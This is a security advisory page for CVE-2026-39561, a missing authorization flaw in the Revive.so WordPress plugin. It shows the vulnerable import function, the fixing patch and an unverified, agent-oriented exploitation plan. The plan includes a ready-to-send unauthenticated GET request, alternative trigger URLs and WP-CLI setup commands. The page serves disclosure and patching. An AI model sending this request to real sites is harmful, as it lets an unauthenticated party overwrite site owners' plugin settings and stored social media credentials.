CVE-2026-39561

Revive.so <= 2.0.7 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.0.8
Patched in
35d
Time to patch

Description

The Revive.so plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.0.7. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0.7
PublishedMarch 12, 2026
Last updatedApril 15, 2026
Affected pluginrevive-so

What Changed in the Fix

Changes introduced in v2.0.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-39561 ## 1. Vulnerability Summary The **Revive.so** plugin (versions <= 2.0.7) contains a missing authorization vulnerability within its settings import logic. Specifically, the function `REVIVESO_Pro_Settings_Importer::import_settings()` is hooked to `admin_…

Show full research plan

Exploitation Research Plan - CVE-2026-39561

1. Vulnerability Summary

The Revive.so plugin (versions <= 2.0.7) contains a missing authorization vulnerability within its settings import logic. Specifically, the function REVIVESO_Pro_Settings_Importer::import_settings() is hooked to admin_init but lacks any capability checks (current_user_can) or CSRF protection (nonces).

Since admin_init is triggered when accessing administrative files like wp-admin/admin-post.php or wp-admin/admin-ajax.php—even by unauthenticated users—an attacker can force the plugin to overwrite its current configuration and social media credentials with data from the legacy "RevivePress" plugin options, if they exist in the database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-post.php (or any admin page that triggers admin_init).
  • HTTP Method: GET
  • Vulnerable Parameter: revs_import=revivepress
  • Authentication: Unauthenticated (None).
  • Preconditions: The WordPress option wpar_plugin_settings must exist in the database (simulating a prior installation of the RevivePress plugin).

3. Code Flow

  1. Entry Point: A request is made to /wp-admin/admin-post.php?revs_import=revivepress.
  2. Hook Execution: WordPress loads and triggers the admin_init hook.
  3. Target Function: REVIVESO_Pro_Settings_Importer::import_settings() (registered in includes/import/class-revive-import.php via add_action( 'admin_init', array( $this, 'import_settings' ), 50 );) is executed.
  4. Conditional Check: The function checks get_option('wpar_plugin_settings') and if $_GET['revs_import'] == 'revivepress'.
  5. Unauthorized Sink: If conditions are met, the function performs multiple update_option() calls, including:
    • update_option('reviveso_plugin_settings', ...)
    • update_option('reviveso_social_credentials', ...)
    • update_option('reviveso_facebook_accounts_db', ...)
    • Overwrites reviveso_show_import_notice to 0.
  6. Termination: The function issues a header("Location: ...") and calls exit().

4. Nonce Acquisition Strategy

No nonce is required.
The vulnerable function import_settings() in includes/import/class-revive-import.php does not implement check_admin_referer or any other nonce verification. It relies solely on the presence of the revs_import GET parameter.

5. Exploitation Strategy

The goal is to demonstrate that an unauthenticated request can modify plugin options.

Step-by-Step Plan:

  1. Setup: Use WP-CLI to seed the database with "RevivePress" settings to simulate an upgrade scenario.
  2. Execute Exploit: Use http_request to send an unauthenticated GET request to the target site.
  3. Confirmation: Use WP-CLI to verify that the reviveso_plugin_settings option now contains the data from the seeded wpar_plugin_settings.

Payload (HTTP Request):

GET /wp-admin/admin-post.php?revs_import=revivepress HTTP/1.1
Host: TARGET_HOST
User-Agent: Mozilla/5.0
Connection: close

6. Test Data Setup

To trigger the vulnerable code path, the wpar_plugin_settings option must be present. Run the following via the agent's command line:

# Seed the source option (legacy plugin settings)
wp option add wpar_plugin_settings '{"wpar_test_key":"vulnerable_value"}' --format=json

# Ensure the destination option is either empty or different
wp option delete reviveso_plugin_settings || true

# Set the notice to shown (1) to verify it gets dismissed
wp option update reviveso_show_import_notice 1

7. Expected Results

  • The HTTP request should return a 301 or 302 redirect (to the login page or admin page).
  • The option reviveso_plugin_settings will be created/updated.
  • The key reiveveso_test_key (note the typo in the source: reiveveso) will exist in the updated option with the value "vulnerable_value".
  • The option reviveso_show_import_notice will be changed to 0.

8. Verification Steps

After sending the HTTP request, verify the changes using WP-CLI:

# Verify the settings were imported
wp option get reviveso_plugin_settings --format=json

# Verify the notice was dismissed
wp option get reviveso_show_import_notice

9. Alternative Approaches

If /wp-admin/admin-post.php is blocked or behaves unexpectedly, any other admin URL can be used as a trigger, as long as it fires admin_init:

  • /wp-admin/admin-ajax.php?revs_import=revivepress
  • /wp-admin/index.php?revs_import=revivepress (Note: unauthenticated access to index.php will usually redirect to login, but admin_init may still fire before the redirect logic in some configurations).

The most reliable unauthenticated triggers for admin_init are admin-post.php and admin-ajax.php.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Revive.so plugin for WordPress (<= 2.0.7) is vulnerable to unauthorized settings modification because it lacks capability checks and CSRF protection on its settings import logic. An unauthenticated attacker can force the plugin to overwrite its configuration and social media credentials with data from legacy 'RevivePress' settings by triggering the `admin_init` hook via a specifically crafted request.

Vulnerable Code

// includes/import/class-revive-import.php:84
	public function import_settings(){
	
        $revivepress_settings = get_option('wpar_plugin_settings');
        $action = ( isset( $_GET['revs_import'] ) && 'revivepress' == $_GET['revs_import'] ) ? true : false;
        $new_settings = array();
        if( $revivepress_settings && $action ){

            foreach( $revivepress_settings as $key => $setting ){
                $new_key = str_replace('wpar', 'reiveveso', $key );
                $new_settings[$new_key] = $setting;
            }

            update_option('reviveso_plugin_settings', $new_settings );

            $social    = get_option( 'wpar_social_credentials', false );
            $facebook  = get_option( 'wpar_facebook_accounts_db', false );
            $linkedin  = get_option( 'wpar_linkedin_accounts_db', false );
            $pinterest = get_option( 'wpar_pinterest_accounts_db', false );
            $twitter   = get_option( 'wpar_twitter_accounts_db', false );
            $tumblr    = get_option( 'wpar_tumblr_accounts_db', false );

            if( $social ){
                update_option( 'reviveso_social_credentials', $social );
            }
            
            if( $facebook ){
                update_option( 'reviveso_facebook_accounts_db', $facebook );
            }
        
            if( $linkedin ){
                update_option( 'reviveso_linkedin_accounts_db', $linkedin );
            }
        
            if( $pinterest ){
                update_option( 'reviveso_pinterest_accounts_db', $pinterest );
            }
        
            if( $twitter ){
                update_option( 'reviveso_twitter_accounts_db', $twitter );
            }
        
            if( $tumblr ){
                update_option( 'reviveso_tumblr_accounts_db', $tumblr );
            }

            update_option('reviveso_show_import_notice', 0 );
            
            header("Location: " . add_query_arg( array( 'page' => 'reviveso'), admin_url('admin.php') ) , TRUE, 301);
            exit();
        }
	}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/revive-so/2.0.7/includes/import/class-revive-import.php	2025-06-25 10:01:30.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/revive-so/2.0.8/includes/import/class-revive-import.php	2026-03-04 12:26:58.000000000 +0000
@@ -32,7 +32,7 @@
 
 		$revivepress_settings = get_option( 'wpar_plugin_settings', false );
 		$import_notice        = get_option( 'reviveso_show_import_notice', 1 );
-        $url = add_query_arg( array( 'revs_import' => 'revivepress'), admin_url('admin.php') );
+        $url = wp_nonce_url( add_query_arg( array( 'revs_import' => 'revivepress' ), admin_url( 'admin.php' ) ), 'reviveso_import_settings' );
 		if ( $revivepress_settings && $import_notice ) {
 			if ( REVIVESO_Admin::is_reviveso_admin_page() ) {
 				?>
@@ -81,12 +81,20 @@
 		}
 	}
 
-	public function import_settings(){
-	
-        $revivepress_settings = get_option('wpar_plugin_settings');
-        $action = ( isset( $_GET['revs_import'] ) && 'revivepress' == $_GET['revs_import'] ) ? true : false;
-        $new_settings = array();
-        if( $revivepress_settings && $action ){
+	public function import_settings() {
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
+
+		if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_key( $_GET['_wpnonce'] ), 'reviveso_import_settings' ) ) {
+			return;
+		}
+
+		$revivepress_settings = get_option( 'wpar_plugin_settings' );
+		$action               = ( isset( $_GET['revs_import'] ) && 'revivepress' === $_GET['revs_import'] ) ? true : false;
+		$new_settings         = array();
+		if ( $revivepress_settings && $action ) {
 
             foreach( $revivepress_settings as $key => $setting ){
                 $new_key = str_replace('wpar', 'reiveveso', $key );

Exploit Outline

An attacker sends an unauthenticated GET request to an administrative endpoint that triggers the admin_init hook (e.g., /wp-admin/admin-post.php?revs_import=revivepress). Because the vulnerable function lacks current_user_can() authorization and nonce verification, it proceeds to check for the existence of the 'wpar_plugin_settings' WordPress option. If present, the plugin automatically imports these legacy settings, overwriting the current Revive.so plugin configuration, social credentials for multiple platforms (Facebook, LinkedIn, etc.), and dismissing the import notice.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.